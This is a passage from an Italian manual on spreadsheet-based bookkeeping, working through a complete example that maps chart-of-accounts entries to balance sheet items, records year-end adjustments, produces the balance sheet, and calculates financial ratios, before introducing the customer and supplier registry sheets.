13	0211	fondo ammortamento fabbricati	aBII1		0,00	47 200,00		
14	0214	fondo ammortamento attrezzature	aBII3		0,00	13 000,00		
15	0215	fondo ammortamento macchine d'ufficio	aBII4		0,00	11 800,00		
16	0216	fondo ammortamento arredamento	aBII4		0,00	17 740,00		

Figura 123.37. In questo caso la sigla «aBII1» è stata collocata erroneamente anche nella colonna E (mentre invece deve apparire sempre nella colonna D, perché il fondo ammortamento va in rettifica del valore dell'immobilizzazione a cui si riferisce).

	B	C	D	E	F	G	H	I
1	codice	denominazione	sommare eccedenza dare in bilancio, ovvero, sottrarre eccedenza avere in bilancio	sommare eccedenza avere in bilancio, ovvero, sottrarre eccedenza dare in bilancio	eccedenza dare	eccedenza avere		Attenzione alle voci di bilancio
2	riordinare l'area di colore grigio (da B3 a E302), secondo la colonna B, in modo crescente				1 497 802,77	1 497 802,77		
7	0201	fabbricati	aBII1		280 000,00	0,00		Attenzione alle voci di bilancio
8	0204	attrezzature	aBII3		13 000,00	0,00		
9	0205	macchine d'ufficio	aBII4		14 000,00	0,00		
10	0206	arredamento	aBII4		27 000,00	0,00		
11	0207	automezzi	aBII4		27 000,00	0,00		
13	0211	fondo ammortamento fabbricati		aBII1	0,00	47 200,00		
14	0214	fondo ammortamento attrezzature	aBII3		0,00	13 000,00		
15	0215	fondo ammortamento macchine d'ufficio	aBII4		0,00	11 800,00		
16	0216	fondo ammortamento arredamento	aBII4		0,00	17 740,00		

123.4.4 Esempio completo

Viene mostrato un esempio completo di utilizzo del foglio di lavoro per dimostrare come si ottiene il bilancio. Il file completo è disponibile presso ⟨*allegati/gestionale/esempio-bilancio.ods*⟩.

Si compila il piano dei conti con i riferimenti alle voci di bilancio. La figura successiva mostra solo i conti usati effettivamente nel giornale di contabilità generale e le associazioni mancanti si riferiscono a conti che hanno un'eccedenza a zero.

Figura 123.38. Piano dei conti utilizzato. In questa figura non appaiono le eccedenze, che comunque vengono calcolate automaticamente durante la stesura delle scritture.

	B	C	D	E
1	codice	denominazione	sommare eccedenza dare in bilancio, ovvero, sottrarre eccedenza avere in bilancio	sommare eccedenza avere in bilancio, ovvero, sottrarre eccedenza dare in bilancio
2	riordinare l'area di colore grigio (da B3 a E302), secondo la colonna B, in modo crescente			
7	0201	fabbricati	aBII1	
8	0204	attrezzature	aBII3	
9	0205	macchine d'ufficio	aBII4	
10	0206	arredamento	aBII4	
11	0207	automezzi	aBII4	
13	0211	fondo ammortamento fabbricati	aBII1	
14	0214	fondo ammortamento attrezzature	aBII3	
15	0215	fondo ammortamento macchine d'ufficio	aBII4	
16	0216	fondo ammortamento arredamento	aBII4	
17	0217	fondo ammortamento automezzi	aBII4	
19	0404	merci	aCI4	
20	0501	crediti v/clienti	aCII1	
22	0509	fatture da emettere	aCII1	
23	0540	fondo svalutazione crediti	aCII1	
24	0541	fondo rischi su crediti	aCII1	
25	0601	IVA ns/credito		
26	0604	IVA c/acconto		
27	0605	crediti per IVA	aCII4bis	
28	0607	imposte c/acconto		
31	0820	denaro in cassa	aCIV3	
33	0902	risconti attivi	aD2	
34	1001	patrimonio netto		pAI
38	1201	debiti per TFRL		pC1
40	1401	debiti v/fornitori		pD7
41	1420	fatture da ricevere		pD7
42	1501	IVA ns/debito		
43	1502	debiti per ritenute da versare		pD12
45	1506	debiti per imposte		pD12
50	1602	risconti passivi		pE2
52	1810	IVA c/liquidazione		
53	1811	istituti previdenziali		pD13
54	1820	banca X c/c		pD4
55	1821	banca Y c/c		pD4
56	2001	merci c/vendite		eA1
57	2003	rimborsi costi di vendita		eA1
58	2010	resi su vendite		eA1
59	2011	ribassi e abbuoni passivi		eA1
60	2101	fitti attivi		eA5
62	2120	plusvalenze ordinarie		eA5
63	3001	merci c/acquisti	eB6	
65	3010	resi su acquisti	eB6	
66	3011	ribassi e abbuoni attivi	eB6	
67	3021	merci c/esistenze iniziali	eB11	
68	3031	merci c/rimanenze finali	eB11	
69	3101	costi di trasporto	eB7	
70	3102	costi per energia	eB7	
71	3103	pubblicità	eB7	
72	3105	costi postali	eB7	
73	3106	costi telefonici	eB7	
74	3109	costi per locali	eB7	
75	3110	costi per automezzi	eB7	
76	3113	costi d'incasso	eB7	
77	3301	salari e stipendi	eB9a	
78	3302	oneri sociali	eB9b	
79	3303	TFRL	eB9c	
82	3501	ammortamento fabbricati	eB10b	
83	3504	ammortamento attrezzature	eB10b	
84	3505	ammortamento macchine d'ufficio	eB10b	
85	3506	ammortamento arredamento	eB10b	
86	3507	ammortamento automezzi	eB10b	
88	3606	svalutazione crediti	eB10d	
89	3905	perdite su crediti	eB14	
91	4010	interessi attivi v/clienti		eC16d
93	4102	interessi passivi bancari	eC17	
96	6002	sopravvenienze attive straordinarie		eE20
97	6101	minusvalenze straordinarie	eE21	
99	7001	imposte d'esercizio	e22	

Le scritture da cui si vuole trarre il bilancio sono costituite da una situazione dei conti al 31/12, prima degli assestamenti, quindi si concludono con gli assestamenti: la chiusura dei conti non viene fatta per conservare le eccedenze da portare in bilancio.

Figura 123.39. Scrittura necessaria a riprodurre la situazione iniziale dei conti.

	B	C	D	E	F	G	H	I	J	K	L	M	N
1		data reg.	conto		cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere	
2	1	31 dic	0201	fabbricati			situazione iniziale, prima delle scritture di assestamento				280 000,00		280 000,00
3	1		0204	attrezzature							13 000,00		293 000,00
4	1		0205	macchine d'ufficio							14 000,00		307 000,00
5	1		0206	arredamento							27 000,00		334 000,00
6	1		0207	automezzi							27 000,00		361 000,00
7	1		0501	crediti v/clienti							89 000,00		450 000,00
8	1		0601	IVA ns/credito							2 450,00		452 450,00
9	1		0604	IVA c/acconto							3 500,00		455 950,00
10	1		0607	imposte c/acconto							500,00		456 450,00
11	1		0820	denaro in cassa							941,25		457 391,25
12	1		3021	merci c/esistenze iniziali							123 900,00		581 291,25
13	1		3001	merci c/acquisti							699 610,00		1 280 901,25
14	1		3301	salari e stipendi							15 100,00		1 296 001,25
15	1		3302	oneri sociali							5 285,00		1 301 286,25
16	1		3101	costi di trasporto							38 600,00		1 339 886,25
17	1		3102	costi per energia							6 190,00		1 346 076,25
18	1		3103	pubblicità							8 950,00		1 355 026,25
19	1		3105	costi postali							3 580,00		1 358 606,25
20	1		3106	costi telefonici							4 570,00		1 363 176,25
21	1		3109	costi per locali							5 010,00		1 368 186,25
22	1		3110	costi per automezzi							7 790,00		1 375 976,25
23	1		3113	costi d'incasso							1 016,00		1 376 992,25
24	1		4102	interessi passivi bancari							512,50		1 377 504,75
25	1		2010	resi su vendite							5 280,00		1 382 784,75
26	1		2011	ribassi e abbuoni passivi							3 138,00		1 385 922,75
27	1		3905	perdite su crediti							1 938,00		1 387 860,75
28	1		6101	minusvalenze straordinarie							7 700,00		1 395 560,75
29	1		0211	fondo ammortamento fabbricati								36 000,00	1 359 560,75
30	1		0214	fondo ammortamento attrezzature								11 000,00	1 348 560,75
31	1		0215	fondo ammortamento macchine d'ufficio								9 000,00	1 339 560,75
32	1		0216	fondo ammortamento arredamento								14 500,00	1 325 060,75
33	1		0217	fondo ammortamento automezzi								11 500,00	1 313 560,75
34	1		0541	fondo rischi su crediti								1 050,00	1 312 510,75
35	1		1201	debiti per TFRL								18 600,00	1 293 910,75
36	1		1401	debiti v/fornitori								82 800,00	1 211 110,75
37	1		1820	banca X c/c								2 560,25	1 208 550,50
38	1		1821	banca Y c/c								3 100,50	1 205 450,00
39	1		1811	istituti previdenziali								1 110,00	1 204 340,00
40	1		1501	IVA ns/debito								4 860,00	1 199 480,00
41	1		1001	patrimonio netto								282 700,00	916 780,00
42	1		3010	resi su acquisti								10 150,00	906 630,00
43	1		3011	ribassi e abbuoni attivi								2 120,00	904 510,00
44	1		2001	merci c/vendite								889 450,00	15 060,00
45	1		2003	rimborsi costi di vendita								8 870,00	6 190,00
46	1		4010	interessi attivi v/clienti								1 650,00	4 540,00
47	1		2101	fitti attivi								850,00	3 690,00
48	1		2120	plusvalenze ordinarie								1 500,00	2 190,00
49	1		6002	sopravvenienze attive straordinarie								2 190,00	0,00

Figura 123.40. Scritture di assestamento.

	B	C	D	E	F	G	H	I	J	K	L	M	N
50	2		3303	TFRL							1 531,27		1 531,27
51	2	31 dic	1201	debiti per TFRL			si incrementano debiti per TFRL					1 477,56	53,71
52	2		1502	debiti per ritenute da versare								53,71	0,00
53	3		3501	ammortamento fabbricati							11 200,00		11 200,00
54	3		3506	ammortamento arredamento							3 240,00		14 440,00
55	3		3507	ammortamento automezzi							5 400,00		19 840,00
56	3		3505	ammortamento macchine d'ufficio							2 800,00		22 640,00
57	3	31 dic	3504	ammortamento attrezzature			si calcolano gli ammortamenti				2 000,00		24 640,00
58	3		0211	fondo ammortamento fabbricati								11 200,00	13 440,00
59	3		0216	fondo ammortamento arredamento								3 240,00	10 200,00
60	3		0217	fondo ammortamento automezzi								5 400,00	4 800,00
61	3		0215	fondo ammortamento macchine d'ufficio								2 800,00	2 000,00
62	3		0214	fondo ammortamento attrezzature								2 000,00	0,00
63	4	31 dic	4010	interessi attivi v/clienti			risconto su interessi attivi v/clienti				511,11		511,11
64	4		1602	risconti passivi								511,11	0,00
65	5		0541	fondo rischi su crediti							1 050,00		1 050,00
66	5	31 dic	3905	perdite su crediti			stralcio dei crediti v/clienti				2 850,00		3 900,00
67	5		0501	crediti v/clienti								3 900,00	0,00
68	6	31 dic	3606	svalutazione crediti			svalutazione credito				750,00		750,00
69	6		0540	fondo svalutazione crediti								750,00	0,00
70	7	31 dic	3606	svalutazione crediti			svalutazione credito				421,75		421,75
71	7		0541	fondo rischi su crediti								421,75	0,00
72	8	31 dic	0902	risconti attivi			calcolo di un risconto attivo				459,50		459,50
73	8		3109	costi per locali								459,50	0,00
74	9		0509	fatture da emettere							3 840,00		3 840,00
75	9	31 dic	2001	merci c/vendite			consegnate merci					3 200,00	640,00
76	9		1501	IVA ns/debito								640,00	0,00
77	10	31 dic	4102	interessi passivi bancari			si capitalizzano interessi bancari passivi				250,00		250,00
78	10		1820	banca X c/c								250,00	0,00
79	11	31 dic	4102	interessi passivi bancari			si capitalizzano interessi bancari passivi				325,00		325,00
80	11		1821	banca Y c/c								325,00	0,00
81	12	31 dic	3110	costi per automezzi			si stimano costi per automezzi				355,00		355,00
82	12		1420	fatture da ricevere								355,00	0,00
83	13	31 dic	1810	IVA c/liquidazione			si liquida l'IVA				2 450,00		2 450,00
84	13		0601	IVA ns/credito								2 450,00	0,00
85	14	31 dic	1501	IVA ns/debito			si liquida l'IVA				5 500,00		5 500,00
86	14		1810	IVA c/liquidazione								5 500,00	0,00
87	15		1810	IVA c/liquidazione							3 050,00		3 050,00
88	15	31 dic	0605	crediti per IVA			si liquida l'IVA				450,00		3 500,00
89	15		0604	IVA c/acconto								3 500,00	0,00
90	16	31 dic	0404	merci			valutazione rimanenze				75 000,00		75 000,00
91	16		3031	merci c/rimanenze finali								75 000,00	0,00
92	17		7001	imposte d'esercizio							2 179,00		2 179,00
93	17	31 dic	0607	imposte c/acconto			imposte di competenza dell'esercizio					500,00	1 679,00
94	17		1506	debiti per imposte								1 679,00	0,00

Se nel piano dei conti è stata fatta correttamente l'associazione con le poste di bilancio, la scheda del bilancio stesso risulta compilata automaticamente, con i valori corretti.

Figura 123.41. Bilancio: attivo e passivo. La scheda del bilancio appare qui filtrata per le sole voci significative, attraverso la selezione della lettera «x» che si trova in colonna A (nella figura la colonna A non appare).

	B	C	D	E	F	G	H	I	J	K
2	a					**ATTIVO**				
3	a									
4	a	A				**CREDITI VERSO I SOCI PER VERSAMENTI ANCORA DOVUTI:**				**0**
7	a	B				**IMMOBILIZZAZIONI:**				**254 360**
16	a	B	II			Immobilizzazioni materiali:			254 360	
17	a	B	II	1		terreni e fabbricati		232 800		
20	a	B	II	4		altri beni materiali		21 560		
35	a	C				**ATTIVO CIRCOLANTE:**				**164 160**
36	a	C	I			Rimanenze:			75 000	
40	a	C	I	4		prodotti finiti e merci		75 000		
42	a	C	II			Crediti:			88 218	
43	a	C	II	1		Verso i clienti		87 768		
57	a	C	IV			Disponibilità liquide:			941	
60	a	C	IV	3		denaro e valori in cassa		941		
61	a	D				**RATEI E RISCONTI ATTIVI:**				**460**
63	a	D		*2*		risconti attivi		460		
65	a					**TOTALE ATTIVO (A+B+C+D)**				**418 979**
66										
67	p					**PASSIVO**				
68	p									
69	p	A				**PATRIMONIO NETTO:**				**306 157**
70	p	A	I			Capitale			282 700	
78	p	A	IX			Utile (perdita) dell'esercizio (deriva dal conto economico)			23 457	
79	p	B				**FONDI PER RISCHI E ONERI:**				**0**
83	p	C				**TRATTAMENTO DI FINE RAPPORTO DI LAVORO SUBORDINATO:**				**20 078**
84	p	C		*1*		fondo TFRL		20 078		
85	p	D				**DEBITI:**				**92 233**
89	p	D		4		debiti verso banche		6 236		
92	p	D		7		debiti verso fornitori		83 155		
97	p	D		12		debiti tributari		1 733		
98	p	D		13		debiti verso istituti di previdenza e di sicurezza sociale		1 110		
100	p	E				**RATEI E RISCONTI PASSIVI:**				**511**
102	p	E		*2*		risconti passivi		511		
104	p					**TOTALE PASSIVO (A+B+C+D+E)**				**418 979**

Figura 123.42. Bilancio: conto economico. La scheda del bilancio appare qui filtrata per le sole voci significative, attraverso la selezione della lettera «x» che si trova in colonna A (nella figura la colonna A non appare).

	B	C	D	E	F	G	H	I	J	K
106						**CONTO ECONOMICO**				
107										
108	e	A				**VALORE DELLA PRODUZIONE:**				**895 452**
109	e	A		1		ricavi delle vendite e delle prestazioni		893 102		
113	e	A		5		altri ricavi e proventi		2 350		
114	e	B				**COSTI DELLA PRODUZIONE:**				**864 358**
115	e	B		6		acquisti materie prime, sussidiarie, di consumo e di merci		687 340		
116	e	B		7		spese per prestazione di servizi		75 602		
118	e	B		9		costi del personale:		21 916		
119	e	B		9	a	salari e stipendi	15 100			
120	e	B		9	b	oneri sociali	5 285			
121	e	B		9	c	accantonamento al TFRL	1 531			
124	e	B		10		ammortamenti e svalutazioni:		25 812		
126	e	B		10	b	ammortamento delle immobilizzazioni materiali	24 640			
128	e	B		10	d	svalutazioni dell'attivo circolante e delle disponibilità liquide	1 172			
129	e	B		11		variazioni rimanenze materie prime, sussidiarie, di consumo e merci		48 900		
132	e	B		14		oneri diversi di gestione		4 788		
133	e					**DIFFERENZA TRA VALORE E COSTI DELLA PRODUZIONE (A-B)**				**31 094**
134	e	C				**PROVENTI E ONERI FINANZIARI (15+16-17)**				**51**
136	e	C		16		altri proventi finanziari:		1 139		
140	e	C		16	d	proventi diversi dai precedenti	1 139			
141	e	C		17		Interessi e altri oneri finanziari		1 088		
142	e	D				**RETTIFICHE DI VALORE DI ATTIVITÀ FINANZIARIE (18-19):**				**0**
151	e	E		19		**PROVENTI E ONERI STRAORDINARI (20-21):**				**- 5 510**
152	e	E		20		proventi straordinari	2 190			
153	e	E		21		oneri straordinari	7 700			
154	e					**RISULTATO PRIMA DELLE IMPOSTE (A-B±C±D±E)**				**25 636**
155	e			22		Imposte sul reddito dell'esercizio		2 179		
156	e			26		Utile o perdita di esercizio		23 457		

Eventualmente, la scheda della situazione contabile andrebbe compilata come nelle figure successive.

Figura 123.43. Situazione contabile, redatta con la scheda '**sc**': stato patrimoniale.

	B	C	D	E	F	G
1	conti dello stato patrimoniale					
2	0201	fabbricati	280 000,00	0211	fondo ammortamento fabbricati	47 200,00
3	0204	attrezzature	13 000,00	0214	fondo ammortamento attrezzature	13 000,00
4	0205	macchine d'ufficio	14 000,00	0215	fondo ammortamento macchine d'ufficio	11 800,00
5	0206	arredamento	27 000,00	0216	fondo ammortamento arredamento	17 740,00
6	0207	automezzi	27 000,00	0217	fondo ammortamento automezzi	16 900,00
7	0404	merci	75 000,00	0540	fondo svalutazione crediti	750,00
8	0501	crediti v/clienti	85 100,00	0541	fondo rischi su crediti	421,75
9	0509	fatture da emettere	3 840,00	1001	patrimonio netto	282 700,00
10	0605	crediti per IVA	450,00	1201	debiti per TFRL	20 077,56
11	0820	denaro in cassa	941,25	1401	debiti v/fornitori	82 800,00
12	0902	risconti attivi	459,50	1420	fatture da ricevere	355,00
13				1502	debiti per ritenute da versare	53,71
14				1506	debiti per imposte	1 679,00
15				1602	risconti passivi	511,11
16				1811	istituti previdenziali	1 110,00
17				1820	banca X c/c	2 810,25
18				1821	banca Y c/c	3 425,50
48			526 790,75			503 333,88
49			0,00			23 456,87

Figura 123.44. Situazione contabile, redatta con la scheda '**sc**': conto economico.

	B	C	D	E	F	G
51	conti economici					
52	2010	resi su vendite	5 280,00	2001	merci c/vendite	892 650,00
53	2011	ribassi e abbuoni passivi	3 138,00	2003	rimborsi costi di vendita	8 870,00
54	3001	merci c/acquisti	699 610,00	2101	fitti attivi	850,00
55	3021	merci c/esistenze iniziali	123 900,00	2120	plusvalenze ordinarie	1 500,00
56	3101	costi di trasporto	38 600,00	3010	resi su acquisti	10 150,00
57	3102	costi per energia	6 190,00	3011	ribassi e abbuoni attivi	2 120,00
58	3103	pubblicità	8 950,00	3031	merci c/rimanenze finali	75 000,00
59	3105	costi postali	3 580,00	4010	interessi attivi v/clienti	1 138,89
60	3106	costi telefonici	4 570,00	4110	interessi passivi su mutui	0,00
61	3109	costi per locali	4 550,50	4200	costi per servizi	0,00
62	3110	costi per automezzi	8 145,00	6002	sopravvenienze attive straordinarie	2 190,00
63	3113	costi d'incasso	1 016,00			
64	3301	salari e stipendi	15 100,00			
65	3302	oneri sociali	5 285,00			
66	3303	TFRL	1 531,27			
67	3501	ammortamento fabbricati	11 200,00			
68	3504	ammortamento attrezzature	2 000,00			
69	3505	ammortamento macchine d'ufficio	2 800,00			
70	3506	ammortamento arredamento	3 240,00			
71	3507	ammortamento automezzi	5 400,00			
72	3606	svalutazione crediti	1 171,75			
73	3905	perdite su crediti	4 788,00			
74	4102	interessi passivi bancari	1 087,50			
75	4110	interessi passivi su mutui	0,00			
76	4200	costi per servizi	0,00			
77	6101	minusvalenze straordinarie	7 700,00			
78	7001	imposte d'esercizio	2 179,00			
98			971 012,02			994 468,89
99			23 456,87			0,00

123.4.5 Correzione di un bilancio errato

La prima volta che si associano le voci del piano dei conti al bilancio, si commettono sicuramente degli errori. Sapendo qual è l'utile o la perdita che ci si attende, si può verificare se il conto economico del bilancio mostra lo stesso valore previsto alla voce 26 (utile o perdita di esercizio). Se il valore è positivo indica un utile, se invece si tratta di un valore negativo indica una perdita.

Se il valore dell'utile o della perdita che appare in bilancio, nel conto economico, non corrisponde, occorre ricontrollare attentamente l'associazione delle voci per i soli conti economici.

Quando l'utile o la perdita del conto economico corrisponde a ciò che ci si attende, si deve verificare che il totale attivo sia uguale al totale passivo. Se le cose non stanno così, occorre controllare l'associazione al bilancio dei conti dello stato patrimoniale.

123.4.6 Indici di bilancio

La scheda da cui si ottiene il bilancio, contiene anche altre informazioni che possono essere calcolate in modo automatico.

Figura 123.45. Costo del venduto.

	C	D E	F	G	H I J K
187				Costo del venduto	
188	c.e.	B6	+	acquisti di materie prime, sussidiarie, di consumo e di merci	687 340
189	c.e.	B7+B9 +B10-B10d	+	costi industriali (costi per servizi, costi del personale, ammortamenti e accantonamenti riferiti alla produzione)	122 158
190	attivo	CI	+	esistenze iniziali di materie prime, sussidiarie, di consumo, di merci, di prodotti in lavorazione, di semilavorati e di prodotti finiti	0
191			-	rimanenze finali di materie prime, sussidiarie, di consumo, di merci, di prodotti in lavorazione, di semilavorati e di prodotti finiti	557 443
192	c.e.	A4	-	costi patrimonializzati per lavori interni	2 350
193			=	**costo del venduto**	**249 705**

Figura 123.46. Dati da cui poi si traggono gli indici di bilancio.

	C	D	E	F	G	H	I	J	K
195	Dati per gli indici								
196	attivo		CI		Rimanenze			75 000	Rm
197	attivo		CII		Disponibilità finanziarie			88 218	Df
198	attivo		CIV		Disponibilità liquide			941	Dl
199	attivo		C		Attivo circolante			164 160	Ac
200	attivo		B		Immobilizzazioni			254 360	Im
201	attivo		A+B+C+D		Totale impieghi			418 979	Ti
202	c.e.		A1		Ricavi netti di vendita			893 102	Rv
203	c.e.		B9		Costi del lavoro			21 916	Cl
204	c.e.		B10a+B10b+B10c		Ammortamenti			24 640	Am
205	passivo		D		Capitale di debito (totale dei debiti a breve, a media e a lunga scadenza)			92 233	Cd
206	passivo		A-AVIII-AIX		Capitale proprio			282 700	Cp
207	c.e.		26		Risultato economico d'esercizio			23 457	Re
208	passivo		A+B+C+D+E		Totale fonti			418 979	Tf
209	c.e.		C17		Oneri finanziari			1 088	Of
210					Costo del ventuto			249 705	Cv
211					Valore aggiunto			78 823	Va
212					Reddito operativo (EBIT)			31 094	Ro

Figura 123.47. Analisi per redditività.

	C–E	F	G	H	I	J	K
216	Analisi per redditività						
217							
218	ROE	=	utile netto d'esercizio	=	Re	=	8,3%
219			capitale netto		Cp		
220							
221	ROI	=	reddito operativo	=	Ro	=	7,4%
222			capitale netto		Ti		
223							
224	ROD	=	oneri finanziari totali	=	Of	=	1,2%
225			capitale di debito		Cd		
226							
227	ROS	=	reddito operativo	=	Ro	=	3,5%
228			ricavi di vendita		Rv		
229							
230	rotazione degli	=	ricavi di vendita	=	Rv	=	2,13
231	impieghi		totale impieghi		Ti		
232							
233	Leverage	=	totale impieghi	=	Ti	=	1,48
234			capitale proprio		Cp		
235							
236	indice della gestione	=	utile netto d'esercizio	=	Re	=	75,4%
237	non caratteristica		reddito operativo		Ro		
238							

Figura 123.48. Analisi per produttività.

	C	D	E	F	G	H	I	J	K
240	Analisi per produttività								
241									
242	indice di produttività del capitale investito			=	valore aggiunto	=	Va	=	18,8%
243					totale impieghi		Ti		
244									
245	incidenza del fattore lavoro			=	costo del personale dipendente	=	Cl	=	2,5%
246					ricavi netti di vendita		Rv		
247									

Figura 123.49. Analisi patrimoniale.

	C	D	E	F	G	H	I	J	K
249	Analisi patrimoniale								
250									
251	rigidità degli impieghi			=	immobilizzazioni	=	Im	=	60,7%
252					totale impieghi		Ti		
253									
254	elasticità degli impieghi			=	attivo corrente	=	Ac	=	39,2%
255					totale impieghi		Ti		
256									
257	indice di elasticità			=	attivo corrente	=	Ac	=	64,5%
258					immobilizzazioni		Im		
259									
260	incidenza del capitale proprio (autonomia finanziaria)			=	capitale proprio	=	Cp	=	67,5%
261					totale impieghi		Ti		
262									
263	grado di capitalizzazione			=	capitale proprio	=	Cp	=	3,07
264					capitale di debito complessivo		Cd		
265									

Figura 123.50. Analisi finanziaria.

	C	D	E	F	G	H	I	J	K
267	Analisi finanziaria								
268									
269	indice di autocopertura delle immobilizzazioni			=	capitale proprio	=	Cp	=	1,11
270					immobilizzazioni		Im		
271									
272	indice di rotazione dell'attivo circolante			=	ricavi di vendita	=	Rv	=	5,44
273					attivo circolante		Ac		
274									
275	indice di rotazione delle rimanenze			=	costo del venduto	=	Cv	=	3,33
276					rimanenze		Rm		
277									

È anche possibile produrre una rielaborazione dello stato patrimoniale, secondo criteri finanziari. Ne viene proposta una in modo automatico e un'altra può essere predisposta manualmente.

Figura 123.51. Stato patrimoniale rielaborato automaticamente secondo criteri finanziari.

	C	D	E	F	G	H	I	J	K
281	Stato patrimoniale rielaborato automaticamente secondo criteri finanziari								
282									
283	impieghi								
284					**Attivo corrente**			**164 619**	Ac
285	attivo		CIV		Disponibilità liquide		941		Dl
286	attivo		A+CII+CIII+D		Disponibilità finanziarie		88 678		Df
287	attivo		CI		Rimanenze		75 000		Rm
288									
289					**Attivo immobilizzato**			**254 360**	Ac
290	attivo		BI		Immobilizzazioni immateriali		0		
291	attivo		BII		Immobilizzazioni materiali		254 360		
292	attivo		BIII		Immobilizzazioni finanziarie		0		
293									
294					**Totale impieghi**			**418 979**	
295									
296	fonti								
297	passivo		B2+B3+D+E		**Debiti a breve scadenza**			**92 745**	Db
298									
299	passivo		B1+C		**Debiti a media e lunga scadenza**			**20 078**	Dc
300									
301					**Capitale di debito complessivo**			**112 822**	Cd
302									
303	passivo		A		**Patrimonio netto**			**306 157**	Pn
304	passivo		A-AVIII-AIX		Capitale proprio		282 700		Cp
305	passivo		AVIII+AIX		Utile o perdita d'esercizio		23 457		Re
306									
307					**Totale fonti**			**418 979**	

Figura 123.52. Stato patrimoniale rielaborato manualmente secondo criteri finanziari.

	C	D	E	F	G	H	I	J	K
311	Stato patrimoniale rielaborato manualmente secondo criteri finanziari								
312									
313	impieghi								
314					**Attivo corrente**			**164 619**	Ac
315	attivo				Disponibilità liquide		941		Dl
316	attivo				Disponibilità finanziarie		88 678		Df
317	attivo				Rimanenze		75 000		Rm
318									
319					**Attivo immobilizzato**			**254 360**	Ac
320	attivo				Immobilizzazioni immateriali		0		
321	attivo				Immobilizzazioni materiali		254 360		
322	attivo				Immobilizzazioni finanziarie		0		
323									
324					**Totale impieghi**			**418 979**	
325									
326	fonti								
327	passivo		B2+B3+D+E		**Debiti a breve scadenza**			**92 745**	Db
328									
329	passivo		B1+C		**Debiti a media e lunga scadenza**			**20 078**	Dc
330									
331					**Capitale di debito complessivo**			**112 822**	Cd
332									
333	passivo		A		**Patrimonio netto**			**306 157**	Pn
334	passivo		A-AVIII-AIX		Capitale proprio		282 700		Cp
335	passivo		AVIII+AIX		Utile o perdita d'esercizio		23 457		Re
336									
337					**Totale fonti**			**418 979**	

123.4.7 Bilancio manuale

È disponibile la scheda denominata '**`bil comp`**' (bilancio da compilare) per produrre un bilancio, direttamente da valori conosciuti, senza dover compilare il piano dei conti e il giornale. Questa scheda è provvista delle stesse rielaborazioni già descritte a proposito di quella sul bilancio che ottiene i valori dalla contabilità.

Figura 123.53. Bilancio da compilare direttamente.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
1	.	.	.	.	.	.	.	.	.	.	.	.	.	.	.
2	x	a					**ATTIVO**	Anno N				Anno N+1			
3	x	a													
4	x	a	A				**CREDITI VERSO I SOCI PER VERSAMENTI ANCORA DOVUTI:**				**0**				**0**
5		a	A		*1*		crediti verso i soci già richiamati		0						
6		a	A		*2*		crediti verso i soci non ancora richiamati		0				0		
7	x	a	B				**IMMOBILIZZAZIONI:**				**0**				**0**
8		a	B	I			Immobilizzazioni immateriali:			0				0	
9		a	B	I	1		costi di impianto e di ampliamento		0				0		
10		a	B	I	2		costi di ricerca, di sviluppo e di pubblicità		0				0		
11		a	B	I	3		diritti di brevetto industriale e diritti di utilizzazione delle opere dell'ingegno		0						
12		a	B	I	4		concessioni, licenze, marchi e diritti simili		0				0		
13		a	B	I	5		avviamento		0				0		
14		a	B	I	6		immobilizzazioni immateriali in corso e acconti		0				0		
15		a	B	I	7		altre immobilizzazioni immateriali		0				0		
16		a	B	II			Immobilizzazioni materiali:			0				0	
17		a	B	II	1		terreni e fabbricati		0				0		
18		a	B	II	2		impianti e macchinario		0				0		
19		a	B	II	3		attrezzature industriali e commerciali		0				0		
20		a	B	II	4		altri beni materiali		0				0		
21		a	B	II	5		immobilizzazioni in corso e acconti		0				0		

123.5 Clienti e fornitori

Quando nella contabilità si ha a che fare con clienti e fornitori, non è sufficiente utilizzare i conti generici (crediti verso clienti e debiti verso fornitori), perché è importante poter conoscere la situazione di ognuno di loro, in modo indipendente. Per questo scopo sono disponibili due schede per l'indicazione delle tabelle anagrafiche di clienti e fornitori, con le quali è poi possibile annotare nel giornale il riferimento al cliente o al fornitore effettivo.

Le tabelle anagrafiche dei clienti e dei fornitori consentono anche di gestire i registri IVA (i registri delle fatture) e di facilitare la produzione delle fatture di vendita. Tale utilizzo delle anagrafiche clienti e fornitori viene descritto in altri capitoli.

Il file con gli esempi usati in questo capitolo è disponibile presso ⟨*allegati/gestionale/esempio-clienti.ods*⟩.

Figura 123.54. Piano dei conti usato per gli esempi di questo capitolo.

	B	C	D	E	F	G
3	1501	crediti v/clienti	aCII1		5 400,00	0,00
4	1601	IVA n/credito			440,00	0,00
5	2501	debiti v/fornitori		pD7	0,00	2 654,60
6	2601	IVA n/debito			0,00	900,00
7	3101	merci c/vendite		eA1	0,00	5 000,00
8	3110	resi su vendite		eA1	500,00	0,00
9	4101	merci c/acquisti	eB6		2 200,00	0,00
10	4901	oneri fiscali diversi	eB14		14,60	0,00

123.5.1 Elenco delle banche di appoggio

Ogni cliente viene associato a una banca di appoggio, che deve essere indicata nelle fatture di vendita in presenza di certi tipi di pagamento. Questo elenco di banche si trova nella scheda '**`banche`**' e si vede un esempio nella figura successiva; ovviamente i nomi sono assolutamente fantastici.

Figura 123.55. Banche di appoggio.

	B	C	D	E	F	G	H
1	codice	descrizione	paese	cin eur	cin	abi	cab
2	riordinare l'area di colore grigio (da B3 ad H112), secondo la colonna B, in modo crescente						
3	1	banca della valle	IT	96	X	00000	00000
4	2	banca della collina	IT	96	X	00000	00000
5	3	banca del monte	IT	96	X	00000	00000
6	4	banca del mare	IT	96	X	00000	00000
7	5	banca del lago	IT	96	X	00000	00000

123.5.2 Tabelle anagrafiche di clienti e fornitori

Per la gestione dei clienti e dei fornitori, vanno compilate le tabelle anagrafiche rispettive, corrispondenti alle schede '**`clienti`**' e '**`fornitori`**', di cui si vede un esempio nelle figure successive.

Figura 123.56. Scheda anagrafica dei clienti. Le colonne K e L danno automaticamente l'eccedenza di ogni cliente, in base a quanto si può desumere dal giornale di contabilità generale; nelle celle K2:L2 appare l'eccedenza complessiva dei clienti, che deve coincidere con quella che si trova nel piano dei conti, in corrispondenza del conto «crediti verso clienti». Nella colonna M appare automaticamente la denominazione della banca di appoggio selezionata nella colonna I con un codice.

	A	B	C	D	E	F	G	H	I	J	K	L	M
1	x	codice cliente	denominazione	indirizzo	cap	città	pr.	codice fiscale o partita IVA	banca	sconto (non usato)	situazione contabile		descrizione banca
2	x	riordinare l'area di colore grigio (da B3 a J112), secondo la colonna B, in modo crescente									5400,00	d	
